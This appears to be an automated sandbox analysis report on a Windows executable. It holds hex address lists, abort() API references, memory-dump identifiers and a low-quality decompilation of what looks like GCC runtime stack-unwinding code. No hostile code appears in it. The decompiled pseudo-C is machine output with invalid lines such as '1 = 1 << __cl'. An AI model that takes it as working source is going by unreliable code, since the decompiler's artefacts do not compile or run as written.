0x00000000
0x00421f8e
0x00000000
0x00000000
0x00421ec0
0x00421ec0
0x00421ec4
0x00421ec6
0x00000000
0x00421ecc
0x00421ecc
0x00421ecc
0x00421ecf
0x00421ed1
0x00421ed5
0x00421ed8
0x00421edc
0x00421ede
0x00421fe5
0x00421ee4
0x00421ee4
0x00421ee8
0x00421ee8
0x00000000
0x00421ede
0x00000000
0x00000000
0x00421f00
0x00421f00
0x00421f04
0x00000000
0x00000000
0x00421ef0
0x00421ef0
0x00421ef3
0x00421ef7
0x00000000
0x00000000
0x00421d10
0x00421d10
0x00421d13
0x00421d16
0x00000000
0x00421d1c
0x00421d1c
0x00421d1c
0x00421d20
0x00421d27
0x00421d2a
0x00421d2e
0x00421d3b
0x00421d3b
0x00421d3e
0x00000000
0x00421d44
0x00421d44
0x00000000
0x00421d44
0x00421d30
0x00421d30
0x00421d30
0x00421d35
0x00000000
0x00000000
0x00000000
0x00000000
0x00421d35
0x00421d2e
0x00000000
0x00000000
0x00421c90
0x00421c90
0x00421c92
0x00421c92
0x00421c94
0x00421ca0
0x00421ca0
0x00421ca0
0x00421ca3
0x00421ca9
0x00421cac
0x00421cae
0x00421cb1
0x00421cb3
0x00421cb3
0x00421cb7
0x00421cb9
0x00421cbb
0x00421cbd
0x00421cc0
0x00421cc2
0x00421cc2
0x00421cc5
0x00422029
0x0042202b
0x0042202d
0x0042202d
0x00421cc5
0x00421ccb
0x00421cce
0x00421cd1
0x00000000
0x00421cd7
0x00421cd7
0x00421cd7
0x00421cdb
0x00421ce2
0x00421ce5
0x00421ce9
0x00421cf2
0x00421cf2
0x00421cf5
0x00000000
0x00421cfb
0x00421cfb
0x00421cfb
0x00000000
0x00421cfb
0x00421ceb
0x00421ceb
0x00421ceb
0x00421cf0
0x00421cfd
0x00421cfd
0x00421cff
0x00421d01
0x00000000
0x00000000
0x00000000
0x00000000
0x00421cf0
0x00421ce9
0x00000000
0x00000000
0x00421c31
0x00421c31
0x00421c33
0x00421c33
0x00421c35
0x00421c35
0x00421c35
0x00421c38
0x00421c3e
0x00421c41
0x00421c43
0x00421c46
0x00421c48
0x00421c48
0x00421c4c
0x00421c4f
0x00000000
0x00421c55
0x00421c55
0x00421c55
0x00421c59
0x00421c60
0x00421c63
0x00421c67
0x00421c74
0x00421c74
0x00421c76
0x00000000
0x00421c7c
0x00421c7c
0x00421c7c
0x00421c7e
0x00421c82
0x00000000
0x00421c82
0x00421c69
0x00421c69
0x00421c69
0x00421c6e
0x00421fa0
0x00421fa0
0x00421fa4
0x00000000
0x00000000
0x00000000
0x00000000
0x00421c6e
0x00421c67
0x00000000
0x00000000
0x00421e40
0x00421e40
0x00421e42
0x00421e42
0x00421e44
0x00421e44
0x00421e44
0x00421e47
0x00421e4d
0x00421e50
0x00421e52
0x00421e55
0x00421e57
0x00421e57
0x00421e5b
0x00421e5d
0x00421e5d
0x00421e60
0x00421e60
0x00421e60
0x00421e63
0x00421e69
0x00421e6c
0x00421e6e
0x00421e71
0x00421e73
0x00421e73
0x00421e77
0x00421e7a
0x00421e7c
0x00421e7e
0x00422019
0x0042201b
0x0042201d
0x0042201d
0x00421e7e
0x00421e84
0x00421e87
0x00000000
0x00421e8d
0x00421e8d
0x00421e8d
0x00421e91
0x00421e98
0x00421e9b
0x00421e9f
0x00421ea8
0x00421ea8
0x00421eab
0x00000000
0x00421eb1
0x00421eb1
0x00421eb1
0x00000000
0x00421eb1
0x00421ea1
0x00421ea1
0x00421ea1
0x00421ea6
0x00421eb3
0x00421eb3
0x00421eb5
0x00421eb9
0x00000000
0x00000000
0x00000000
0x00000000
0x00421ea6
0x00421e9f
0x00000000
0x00000000
0x00421b61
0x00421b61
0x00000000
0x00000000
0x00421c00
0x00421c00
0x00421c04
0x00421c08
0x00421c0c
0x00421c0e
0x00421c13
0x00421c16
0x00421c19
0x00421c1b
0x00421c1d
0x00421c22
0x00421c26
0x00421c2a
0x00000000
0x00000000
0x00422062
0x00422062
0x00422064
0x00000000
0x00000000
0x0042206b
0x0042206b
0x0042206d
0x0042206f
0x00422070
0x00422070
0x00422070
0x00422072
0x00000000
0x00000000
0x00422079
0x00422079
0x0042207b
0x00000000
0x00000000
0x00422082
0x00422082
0x00422084
0x00422086
0x00422088
0x00422088
0x00422088
0x0042208a
0x00000000
0x00000000
0x00422091
0x00422091
0x00422094
0x00000000
0x00000000
0x0042209b
0x0042209b
0x0042209d
0x00000000
0x00000000
0x004220a4
0x004220a4
0x004220a6
0x00000000
0x00000000
0x004220ad
0x004220ad
0x004220af
0x00000000
0x00000000
0x004220b6
0x004220b6
0x004220b8
0x00000000
0x00000000
0x004220bf
0x004220bf
0x004220c1
0x00000000
0x00000000
0x004220c8
0x004220c8
0x004220ca
0x00000000
0x00000000
0x004220d1
0x004220d1
0x004220d3
0x004220d5
0x004220d7
0x004220da
0x00000000
0x00000000
0x004220e1
0x004220e1
0x004220e3
0x004220e5
0x004220e7
0x004220ea
0x00000000
0x00000000
0x004220f1
0x004220f1
0x004220f3
0x004220f5
0x004220f7
0x004220fa
0x00000000
0x00000000
0x00422101
0x00422101
0x00422103
0x00422105
0x00422107
0x0042210a
0x00000000
0x00000000
0x00422111
0x00422111
0x00422113
0x00422115
0x00422117
0x0042211a
0x00000000
0x00000000
0x00422121
0x00422121
0x00422123
0x00422125
0x00422127
0x0042212a
0x00000000
0x00000000
0x00421b07
0x00000000
0x00421afe
0x00421b3a
0x00421b3a
0x00421b40
0x00000000
0x00421b46
0x00421b46
0x00421b46
0x00421b4a
0x00421b51
0x00421b52
0x00421b53
0x00421b54
0x00421b54
0x00000000
0x00421b40
0x004ae616
0x004ae616
0x004ae61b
0x004ae620
0x004ae625
0x004ae625
0x004ae62a
0x004ae62a
0x004ae62f
0x004ae62f
0x004ae634
0x004ae639
0x004ae639
0x004ae63e
0x004ae63e
0x004ae643
0x004ae643
0x004ae648
0x004ae648
0x004ae650
0x004ae650
0x004ae655
0x004ae655
0x004ae65a
0x004ae65a
0x004014e0
0x004014e0
0x004014e3
0x004014e4
0x004014e6
0x004014e9
0x004014f0
0x004014f6
0x004014fb
0x00401570
0x0040157a
0x004014fd
0x004014fd
0x004014ff
0x00401506
0x00401512
0x00401515
0x0040151a
0x00401522
0x00401525
0x00401527
0x0040152a
0x0040152c
0x00401534
0x00401539
0x0040153e
0x0040153e
0x00401543
0x00401545
0x0040154d
0x00401554
0x00401554
0x00401556
0x00401569
0x00401569

APIs

abort.MSVCRT ref: 004AE616
abort.MSVCRT ref: 004AE61B
abort.MSVCRT ref: 004AE620
abort.MSVCRT(00422CFB), ref: 004AE625
abort.MSVCRT(00422CFB), ref: 004AE62A
abort.MSVCRT(00422CFB), ref: 004AE62F
abort.MSVCRT(00422CFB), ref: 004AE634
abort.MSVCRT(00422CFB), ref: 004AE639
abort.MSVCRT(00422CFB), ref: 004AE63E
abort.MSVCRT(00422CFB), ref: 004AE643
abort.MSVCRT(00422CFB), ref: 004AE648
abort.MSVCRT(?,?,00000000,?,00000000,76D84D40,00424A29), ref: 004AE650
abort.MSVCRT(?,?,00000000,?,00000000,76D84D40,00424A29), ref: 004AE655
abort.MSVCRT(?,?,00000000,?,00000000,76D84D40,00424A29), ref: 004AE65A

Memory Dump Source

Source File: 0000000D.00000002.711152433.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.711139798.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711559528.00000000004B6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711569831.00000000004B7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712095510.00000000005B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712263838.00000000005BB000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712839547.0000000000608000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712868979.000000000060B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.713069833.000000000063F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_fl.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 1670d54f33d247a55b5caf6150d8d650433fdafeebac1358d2cafb929561e019
Instruction ID: 1d846a416bc74f763eedca9b73cb474e4d69a7b80f96cd37db342ea98e357ab9
Opcode Fuzzy Hash: 1670d54f33d247a55b5caf6150d8d650433fdafeebac1358d2cafb929561e019
Instruction Fuzzy Hash: CEF0D6306052258BC310FF19F08016FF3E5EF65748F810D3FE59993251E379E6088659

Uniqueness

Uniqueness Score: -1.00%

Function 00421C31 Relevance: 21.0, APIs: 14, Instructions: 48
COMMON

Download Yara Rule

C-Code - Quality: 20%

			E00421C31(CHAR* __ebx, char _a1, signed int _a20, intOrPtr _a24, signed int _a28, signed int _a44) {
				char _v1;
				void* _v16;
				char* _v40;
				struct HINSTANCE__* _t188;
				struct HINSTANCE__* _t191;
				_Unknown_base(*)()* _t192;
				CHAR* _t194;
				struct HINSTANCE__* _t196;
				_Unknown_base(*)()* _t202;
				void* _t207;
				char** _t208;
				char** _t209;
				struct HINSTANCE__** _t211;
				struct HINSTANCE__** _t212;

				L0:
				while(1) {
					L0:
					_t194 = __ebx;
					do {
						L33:
						__ebx = __ebx + 1;
						 *(__ebx - 1) & 0x000000ff =  *(__ebx - 1) & 0x7f;
						__eax = ( *(__ebx - 1) & 0x7f) << __cl;
						__ecx = __ecx + 7;
						__esi = __esi | ( *(__ebx - 1) & 0x7f) << __cl;
					} while (__dl < 0);
					if(__esi > 0x11) {
						L129:
						abort();
						L0042F4C0();
						abort();
						L132:
						abort();
						L133:
						abort();
						L134:
						L0042F4C0();
						L0042F4C0();
						L135:
						abort();
						L136:
						abort();
						L137:
						abort();
						L138:
						abort();
						L139:
						abort();
						L140:
						abort();
						L141:
						abort();
						L1:
						_push(0);
						_t208 = _t207 - 0x1c;
						 *_t208 = "libgcc_s_dw2-1.dll";
						_t188 = GetModuleHandleA(_t194);
						_t209 = _t208 - 4;
						if(_t188 == 0) {
							 *0x4b6004 = 0x424590;
							_t202 = E00424340;
						} else {
							_t196 = _t188;
							 *_t209 = "libgcc_s_dw2-1.dll";
							_t191 = LoadLibraryA(??);
							_t211 = _t209 - 4;
							 *0x607df0 = _t191;
							_v40 = "__register_frame_info";
							 *_t211 = _t196;
							_t192 = GetProcAddress(??, ??);
							_t212 = _t211 - 8;
							_t202 = _t192;
							_v40 = "__deregister_frame_info";
							 *_t212 = _t196;
							 *0x4b6004 = GetProcAddress(??, ??);
							_t209 = _t212 - 8;
						}
						if(_t202 != 0) {
							_v40 = 0x60701c;
							 *_t209 = 0x5ca0f8;
							 *_t202();
						}
						 *_t209 = 0x401590;
						return E004014C0();
					} else {
						L35:
						__ecx = _a28;
						__eax =  *(__esi + 0x6073f4) & 0x000000ff;
						__edi =  *(__ecx + __esi * 4);
						if(( *(__ecx + 0x63) & 0x00000040) == 0) {
							L37:
							if(__al != 4) {
								goto L129;
							} else {
								goto L38;
							}
						} else {
							L36:
							if( *((char*)(__ecx + __esi + 0x6c)) != 0) {
								L94:
								__ebp = _a20;
								__esi = __ebx;
								while(1) {
									L10:
									if(__ebp > 0x3f) {
										goto L129;
									}
									L11:
									__eax =  &_a1;
									 *(__esp + 0x30 + __ebp * 4) = __edi;
									_a20 =  &_a1;
									while(1) {
										L12:
										if(_a24 <= __esi) {
											break;
										}
										L7:
										__eax =  *__esi & 0x000000ff;
										__ebx = __esi + 1;
										__ecx = __eax - 3;
										if(__cl > 0xee) {
											L96:
											abort();
											goto L97;
										} else {
											L8:
											__ecx = __cl & 0x000000ff;
											switch( *((intOrPtr*)(__ecx * 4 +  &M005C3C10))) {
												case 0:
													L9:
													__ebp = _a20;
													__edi =  *(__esi + 1);
													__esi = __esi + 5;
													__eflags = __esi;
													goto L10;
												case 1:
													goto L96;
												case 2:
													L22:
													__eax = _a20;
													__eflags = __eax;
													if(__eax == 0) {
														goto L129;
													} else {
														L23:
														__ebp = __eax;
														__ebp =  &_v1;
														__edi =  *(__esp + 0x30 + __ebp * 4);
														__eflags = __dl - 0x1f;
														if(__eflags == 0) {
															L110:
															__edi =  ~__edi;
															__esi = __ebx;
														} else {
															L24:
															if(__eflags <= 0) {
																L97:
																__eflags = __dl - 6;
																if(__dl != 6) {
																	L99:
																	__eflags = __dl - 0x19;
																	if(__dl != 0x19) {
																		goto L96;
																	} else {
																		L100:
																		__eax = __edi;
																		__esi = __ebx;
																		__eax = __edi >> 0x1f;
																		__edi = __edi ^ __eax;
																		__edi = __edi - __eax;
																	}
																} else {
																	L98:
																	__edi =  *__edi;
																	__esi = __ebx;
																}
															} else {
																L25:
																__eflags = __dl - 0x23;
																if(__dl == 0x23) {
																	L102:
																	__esi = 0;
																	__ecx = 0;
																	__eflags = 0;
																	do {
																		L103:
																		__ebx = __ebx + 1;
																		__edx =  *(__ebx - 1) & 0x000000ff;
																		 *(__ebx - 1) & 0x000000ff =  *(__ebx - 1) & 0x7f;
																		__eax = ( *(__ebx - 1) & 0x7f) << __cl;
																		__ecx = __ecx + 7;
																		__esi = __esi | ( *(__ebx - 1) & 0x7f) << __cl;
																		__eflags = __dl;
																	} while (__dl < 0);
																	__edi = __edi + __esi;
																	__esi = __ebx;
																} else {
																	L26:
																	__eflags = __dl - 0x94;
																	if(__dl != 0x94) {
																		L95:
																		__eflags = __dl - 0x20;
																		if(__dl == 0x20) {
																			L109:
																			__edi =  !__edi;
																			__esi = __ebx;
																		} else {
																			goto L96;
																		}
																	} else {
																		L27:
																		__eax =  *(__esi + 1) & 0x000000ff;
																		__edx = __esi + 2;
																		__eflags = __al - 2;
																		if(__eflags == 0) {
																			L128:
																			__edi =  *__edi & 0x0000ffff;
																			__esi = __edx;
																		} else {
																			L28:
																			if(__eflags <= 0) {
																				L107:
																				__eflags = __al - 1;
																				if(__al != 1) {
																					goto L96;
																				} else {
																					L108:
																					__edi =  *__edi & 0x000000ff;
																					__esi = __edx;
																				}
																			} else {
																				L29:
																				__eflags = __al - 4;
																				if(__al == 4) {
																					L31:
																					__edi =  *__edi;
																					__esi = __edx;
																				} else {
																					L30:
																					__eflags = __al - 8;
																					if(__al != 8) {
																						goto L96;
																					} else {
																						goto L31;
																					}
																				}
																			}
																		}
																	}
																}
															}
														}
														goto L10;
													}
													goto L142;
												case 3:
													L21:
													__edi =  *(__esi + 1) & 0x000000ff;
													__ebp = _a20;
													__esi = __esi + 2;
													goto L10;
												case 4:
													L20:
													__edi =  *(__esi + 1);
													__ebp = _a20;
													__esi = __esi + 2;
													goto L10;
												case 5:
													L19:
													__edi =  *(__esi + 1) & 0x0000ffff;
													__ebp = _a20;
													__esi = __esi + 3;
													goto L10;
												case 6:
													L18:
													__edi =  *(__esi + 1);
													__ebp = _a20;
													__esi = __esi + 3;
													goto L10;
												case 7:
													L16:
													__edi =  *(__esi + 1);
													__ebp = _a20;
													__esi = __esi + 9;
													goto L10;
												case 8:
													L67:
													__esi = __ebx;
													__edi = 0;
													__ecx = 0;
													__eflags = 0;
													do {
														L68:
														__esi = __esi + 1;
														__edx =  *(__esi - 1) & 0x000000ff;
														 *(__esi - 1) & 0x000000ff =  *(__esi - 1) & 0x7f;
														__eax = ( *(__esi - 1) & 0x7f) << __cl;
														__ecx = __ecx + 7;
														__edi = __edi | ( *(__esi - 1) & 0x7f) << __cl;
														__eflags = __dl;
													} while (__dl < 0);
													__ebp = _a20;
													goto L10;
												case 9:
													L62:
													__edi = 0;
													__ecx = 0;
													__eflags = 0;
													do {
														L63:
														__ebx = __ebx + 1;
														__edx =  *(__ebx - 1) & 0x000000ff;
														__edx = __edx & 0x0000007f;
														__eax = (__edx & 0x0000007f) << __cl;
														__ecx = __ecx + 7;
														__edi = __edi | (__edx & 0x0000007f) << __cl;
														__eflags = __dl;
													} while (__dl < 0);
													__eflags = __ecx - 0x1f;
													if(__ecx > 0x1f) {
														goto L94;
													} else {
														L65:
														__edx = __edx & 0x00000040;
														__eflags = __edx;
														if(__edx == 0) {
															goto L94;
														} else {
															L66:
															__eax = 1;
															__ebp = _a20;
															__esi = __ebx;
															1 << __cl =  ~(1 << __cl);
															__edi = __edi |  ~(1 << __cl);
														}
													}
													goto L10;
												case 0xa:
													L60:
													__ebp = _a20;
													__eflags = __ebp;
													if(__ebp == 0) {
														goto L129;
													} else {
														L61:
														__edi =  *(__esp + 0x2c + __ebp * 4);
														__esi = __ebx;
														goto L10;
													}
													goto L142;
												case 0xb:
													L58:
													__eax = _a20;
													__eflags = __eax;
													if(__eax == 0) {
														goto L129;
													} else {
														L59:
														__eax = __eax - 1;
														__esi = __ebx;
														_a20 = __eax;
														goto L12;
													}
													goto L142;
												case 0xc:
													L56:
													__ebp = _a20;
													__eflags = __ebp - 1;
													if(__ebp <= 1) {
														goto L129;
													} else {
														L57:
														__edi =  *(__esp + 0x28 + __ebp * 4);
														__esi = __ebx;
														goto L10;
													}
													goto L142;
												case 0xd:
													L54:
													__ebp = _a20;
													__ecx =  *(__esi + 1) & 0x000000ff;
													__edx = __esi + 2;
													__eax =  &_v1;
													__eflags = __ecx - __eax;
													if(__ecx >= __eax) {
														goto L129;
													} else {
														L55:
														__eax = __eax - __ecx;
														__esi = __edx;
														__edi =  *(__esp + 0x30 + __eax * 4);
														goto L10;
													}
													goto L142;
												case 0xe:
													L89:
													__eax = _a20;
													__eflags = __eax - 1;
													if(__eax <= 1) {
														goto L129;
													} else {
														L90:
														__edx = __eax - 1;
														__eax = __eax - 2;
														__esi =  *(__esp + 0x30 + __eax * 4);
														__ecx =  *(__esp + 0x30 + __edx * 4);
														 *(__esp + 0x30 + __edx * 4) =  *(__esp + 0x30 + __eax * 4);
														__esi = __ebx;
														 *(__esp + 0x30 + __eax * 4) =  *(__esp + 0x30 + __edx * 4);
														goto L12;
													}
													goto L142;
												case 0xf:
													L87:
													__eax = _a20;
													__eflags = __eax - 2;
													if(__eax <= 2) {
														goto L129;
													} else {
														L88:
														__ecx = __eax - 1;
														__edx = __eax - 2;
														__eax = __eax - 3;
														__esi =  *(__esp + 0x30 + __ecx * 4);
														__ebp =  *(__esp + 0x30 + __edx * 4);
														__edi =  *(__esp + 0x30 + __eax * 4);
														 *(__esp + 0x30 + __ecx * 4) = __ebp;
														 *(__esp + 0x30 + __edx * 4) = __edi;
														 *(__esp + 0x30 + __eax * 4) =  *(__esp + 0x30 + __ecx * 4);
														__esi = __ebx;
														goto L12;
													}
													goto L142;
												case 0x10:
													L91:
													__eax = _a20;
													__eflags = __eax - 1;
													if(__eax <= 1) {
														goto L129;
													} else {
														L92:
														__ebp = __eax - 2;
														__edx = __edx - 0x1a;
														__ecx =  *(__esp + 0x2c + __eax * 4);
														__edi =  *(__esp + 0x30 + __ebp * 4);
														__eflags = __dl - 0x14;
														if(__dl > 0x14) {
															goto L96;
														} else {
															L93:
															__edx = __dl & 0x000000ff;
															switch( *((intOrPtr*)((__dl & 0x000000ff) * 4 +  &M005C3FCC))) {
																case 0:
																	goto L111;
																case 1:
																	goto L112;
																case 2:
																	goto L113;
																case 3:
																	goto L114;
																case 4:
																	goto L115;
																case 5:
																	goto L96;
																case 6:
																	goto L116;
																case 7:
																	goto L117;
																case 8:
																	goto L118;
																case 9:
																	goto L119;
																case 0xa:
																	goto L120;
																case 0xb:
																	goto L121;
																case 0xc:
																	goto L122;
																case 0xd:
																	goto L123;
																case 0xe:
																	goto L124;
																case 0xf:
																	goto L125;
																case 0x10:
																	goto L126;
																case 0x11:
																	goto L127;
															}
														}
														goto L10;
													}
													goto L142;
												case 0x11:
													L82:
													__eax = _a20;
													__eflags = __eax;
													if(__eax == 0) {
														goto L129;
													} else {
														L83:
														__eax = __eax - 1;
														__edi = __eax;
														_a20 = __eax;
														__eax = __esi + 3;
														__edx =  *(__esp + 0x30 + __edi * 4);
														__eflags =  *(__esp + 0x30 + __edi * 4);
														if( *(__esp + 0x30 + __edi * 4) == 0) {
															__esi = __eax;
														} else {
															__esi =  *(__esi + 1);
															__esi = __esi + __eax;
														}
														goto L12;
													}
													goto L142;
												case 0x12:
													L86:
													__eax =  *(__esi + 1);
													__esi = __esi +  *(__esi + 1) + 3;
													goto L12;
												case 0x13:
													L85:
													__edi = __eax - 0x30;
													__ebp = _a20;
													__esi = __ebx;
													goto L10;
												case 0x14:
													L49:
													__eax = __eax - 0x50;
													__eflags = __eax - 0x11;
													if(__eax > 0x11) {
														goto L129;
													} else {
														L50:
														__esi = _a28;
														__edx =  *(__eax + 0x6073f4) & 0x000000ff;
														__edi =  *(__esi + __eax * 4);
														__eflags =  *(__esi + 0x63) & 0x00000040;
														if(( *(__esi + 0x63) & 0x00000040) == 0) {
															L52:
															__eflags = __dl - 4;
															if(__dl == 4) {
																L38:
																__edi =  *__edi;
																__ebp = _a20;
																__esi = __ebx;
																goto L10;
															} else {
																L53:
																goto L129;
															}
														} else {
															L51:
															__eflags =  *((char*)(__esi + __eax + 0x6c));
															if( *((char*)(__esi + __eax + 0x6c)) != 0) {
																goto L94;
															} else {
																goto L52;
															}
														}
													}
													goto L142;
												case 0x15:
													L39:
													__ebp = 0;
													__ecx = 0;
													__eflags = 0;
													__esi = __eax;
													do {
														L40:
														__ebx = __ebx + 1;
														__eax =  *(__ebx - 1) & 0x000000ff;
														__eax = __eax & 0x0000007f;
														__edx = (__eax & 0x0000007f) << __cl;
														__ecx = __ecx + 7;
														__ebp = __ebp | (__eax & 0x0000007f) << __cl;
														__eflags = __al;
													} while (__al < 0);
													__edi = __eax;
													__eax = __esi;
													__esi = __edi;
													__eflags = __ecx - 0x1f;
													if(__ecx <= 0x1f) {
														__esi = __esi & 0x00000040;
														__eflags = __esi;
														if(__esi != 0) {
															1 = 1 << __cl;
															__edx =  ~(1 << __cl);
															__ebp = __ebp |  ~(1 << __cl);
														}
													}
													__eax = __eax - 0x70;
													__eflags = __eax - 0x11;
													if(__eax > 0x11) {
														goto L129;
													} else {
														L44:
														__esi = _a28;
														__edx =  *(__eax + 0x6073f4) & 0x000000ff;
														__edi =  *(__esi + __eax * 4);
														__eflags =  *(__esi + 0x63) & 0x00000040;
														if(( *(__esi + 0x63) & 0x00000040) == 0) {
															L46:
															__eflags = __dl - 4;
															if(__dl != 4) {
																goto L129;
															} else {
																L47:
																__edi =  *__edi;
																goto L48;
															}
														} else {
															L45:
															__eflags =  *((char*)(__esi + __eax + 0x6c));
															if( *((char*)(__esi + __eax + 0x6c)) != 0) {
																L48:
																__edi = __edi + __ebp;
																__esi = __ebx;
																__ebp = _a20;
																goto L10;
															} else {
																goto L46;
															}
														}
													}
													goto L142;
												case 0x16:
													goto L0;
												case 0x17:
													L70:
													__esi = 0;
													__ecx = 0;
													__eflags = 0;
													do {
														L71:
														__ebx = __ebx + 1;
														__edx =  *(__ebx - 1) & 0x000000ff;
														 *(__ebx - 1) & 0x000000ff =  *(__ebx - 1) & 0x7f;
														__eax = ( *(__ebx - 1) & 0x7f) << __cl;
														__ecx = __ecx + 7;
														__esi = __esi | ( *(__ebx - 1) & 0x7f) << __cl;
														__eflags = __dl;
													} while (__dl < 0);
													__edi = 0;
													__ecx = 0;
													__eflags = 0;
													do {
														L73:
														__ebx = __ebx + 1;
														__eax =  *(__ebx - 1) & 0x000000ff;
														 *(__ebx - 1) & 0x000000ff =  *(__ebx - 1) & 0x7f;
														__edx = ( *(__ebx - 1) & 0x7f) << __cl;
														__ecx = __ecx + 7;
														__edi = __edi | ( *(__ebx - 1) & 0x7f) << __cl;
														__eflags = __al;
													} while (__al < 0);
													__eflags = __ecx - 0x1f;
													if(__ecx <= 0x1f) {
														__eflags = __al & 0x00000040;
														if((__al & 0x00000040) != 0) {
															1 = 1 << __cl;
															__eax =  ~(1 << __cl);
															__edi = __edi |  ~(1 << __cl);
														}
													}
													__eflags = __esi - 0x11;
													if(__esi > 0x11) {
														goto L129;
													} else {
														L77:
														__ecx = _a28;
														__edx =  *(__esi + 0x6073f4) & 0x000000ff;
														__eax =  *(__ecx + __esi * 4);
														__eflags =  *(__ecx + 0x63) & 0x00000040;
														if(( *(__ecx + 0x63) & 0x00000040) == 0) {
															L79:
															__eflags = __dl - 4;
															if(__dl != 4) {
																goto L129;
															} else {
																L80:
																__eax =  *__eax;
																goto L81;
															}
														} else {
															L78:
															__eflags =  *((char*)(__ecx + __esi + 0x6c));
															if( *((char*)(__ecx + __esi + 0x6c)) != 0) {
																L81:
																__edi = __edi + __eax;
																__ebp = _a20;
																__esi = __ebx;
																goto L10;
															} else {
																goto L79;
															}
														}
													}
													goto L142;
												case 0x18:
													L17:
													__esi = __ebx;
													goto L12;
												case 0x19:
													L32:
													__ebx =  *(__esi + 1) & 0x000000ff;
													__edx = _a28;
													__edi =  &_a44;
													__eax = __ebx;
													__eax = L00420C00(__ebx, __ecx, _a28);
													 *__esp =  &_a44;
													__ecx = __esi + 2;
													__edx = __eax;
													__eax = __ebx;
													__eax = E00420AC0(__ebx, __esi + 2, __edx);
													__edi = _a44;
													__ebp = _a20;
													__esi = __eax;
													goto L10;
												case 0x1a:
													L111:
													__edi = __edi & __ecx;
													__esi = __ebx;
													goto L10;
												case 0x1b:
													L112:
													__eax = __edi;
													__esi = __ebx;
													asm("cdq");
													_t169 = __eax % __ecx;
													__eax = __eax / __ecx;
													__edx = _t169;
													__edi = __eax;
													goto L10;
												case 0x1c:
													L113:
													__edi = __edi - __ecx;
													__esi = __ebx;
													goto L10;
												case 0x1d:
													L114:
													__eax = __edi;
													__edx = 0;
													__esi = __ebx;
													_t173 = __eax % __ecx;
													__eax = __eax / __ecx;
													__edx = _t173;
													__edi = _t173;
													goto L10;
												case 0x1e:
													L115:
													__edi = __edi * __ecx;
													__esi = __ebx;
													goto L10;
												case 0x1f:
													L116:
													__edi = __edi | __ecx;
													__esi = __ebx;
													goto L10;
												case 0x20:
													L117:
													__edi = __edi + __ecx;
													__esi = __ebx;
													goto L10;
												case 0x21:
													L118:
													__edi = __edi << __cl;
													__esi = __ebx;
													goto L10;
												case 0x22:
													L119:
													__edi = __edi >> __cl;
													__esi = __ebx;
													goto L10;
												case 0x23:
													L120:
													__edi = __edi >> __cl;
													__esi = __ebx;
													goto L10;
												case 0x24:
													L121:
													__edi = __edi ^ __ecx;
													__esi = __ebx;
													goto L10;
												case 0x25:
													L122:
													__eax = 0;
													__eflags = __edi - __ecx;
													__esi = __ebx;
													__eax = 0 | __eflags == 0x00000000;
													__edi = __eflags == 0;
													goto L10;
												case 0x26:
													L123:
													__eax = 0;
													__eflags = __edi - __ecx;
													__esi = __ebx;
													__eax = 0 | __eflags >= 0x00000000;
													__edi = __eflags >= 0;
													goto L10;
												case 0x27:
													L124:
													__eax = 0;
													__eflags = __edi - __ecx;
													__esi = __ebx;
													__eax = 0 | __eflags > 0x00000000;
													__edi = __eflags > 0;
													goto L10;
												case 0x28:
													L125:
													__eax = 0;
													__eflags = __edi - __ecx;
													__esi = __ebx;
													__eax = 0 | __eflags <= 0x00000000;
													__edi = __eflags <= 0;
													goto L10;
												case 0x29:
													L126:
													__eax = 0;
													__eflags = __edi - __ecx;
													__esi = __ebx;
													__eax = 0 | __eflags < 0x00000000;
													__edi = __eflags < 0;
													goto L10;
												case 0x2a:
													L127:
													__eax = 0;
													__eflags = __edi - __ecx;
													__esi = __ebx;
													__eax = 0 | __eflags != 0x00000000;
													__edi = __eflags != 0;
													goto L10;
											}
										}
										goto L142;
									}
									L13:
									__eax = _a20;
									if(__eax == 0) {
										goto L129;
									} else {
										L14:
										__eax =  *(__esp + 0x2c + __eax * 4);
										__esp = __esp + 0x13c;
										_pop(__ebx);
										_pop(__esi);
										_pop(__edi);
										_pop(__ebp);
										return __eax;
									}
									goto L142;
								}
								goto L129;
							} else {
								goto L37;
							}
						}
					}
					L142:
				}
			}

0x00421c31
0x00421c31
0x00421c31
0x00421c31
0x00421c35
0x00421c35
0x00421c35
0x00421c3e
0x00421c41
0x00421c43
0x00421c46
0x00421c48
0x00421c4f
0x004ae616
0x004ae616
0x004ae61b
0x004ae620
0x004ae625
0x004ae625
0x004ae62a
0x004ae62a
0x004ae62f
0x004ae62f
0x004ae634
0x004ae639
0x004ae639
0x004ae63e
0x004ae63e
0x004ae643
0x004ae643
0x004ae648
0x004ae648
0x004ae650
0x004ae650
0x004ae655
0x004ae655
0x004ae65a
0x004ae65a
0x004014e0
0x004014e4
0x004014e6
0x004014e9
0x004014f0
0x004014f6
0x004014fb
0x00401570
0x0040157a
0x004014fd
0x004014fd
0x004014ff
0x00401506
0x00401512
0x00401515
0x0040151a
0x00401522
0x00401525
0x00401527
0x0040152a
0x0040152c
0x00401534
0x00401539
0x0040153e
0x0040153e
0x00401543
0x00401545
0x0040154d
0x00401554
0x00401554
0x00401556
0x00401569
0x00421c55
0x00421c55
0x00421c55
0x00421c59
0x00421c60
0x00421c67
0x00421c74
0x00421c76
0x00000000
0x00000000
0x00000000
0x00000000
0x00421c69
0x00421c69
0x00421c6e
0x00421fa0
0x00421fa0
0x00421fa4
0x00421b20
0x00421b20
0x00421b23
0x00000000
0x00000000
0x00421b29
0x00421b29
0x00421b2c
0x00421b30
0x00421b34
0x00421b34
0x00421b38
0x00000000
0x00000000
0x00421af0
0x00421af0
0x00421af3
0x00421af6
0x00421afe
0x00421fb9
0x00421fb9
0x00000000
0x00421b04
0x00421b04
0x00421b04
0x00421b07
0x00000000
0x00421b10
0x00421b10
0x00421b14
0x00421b17
0x00421b17
0x00000000
0x00000000
0x00000000
0x00000000
0x00421ba0
0x00421ba0
0x00421ba4
0x00421ba6
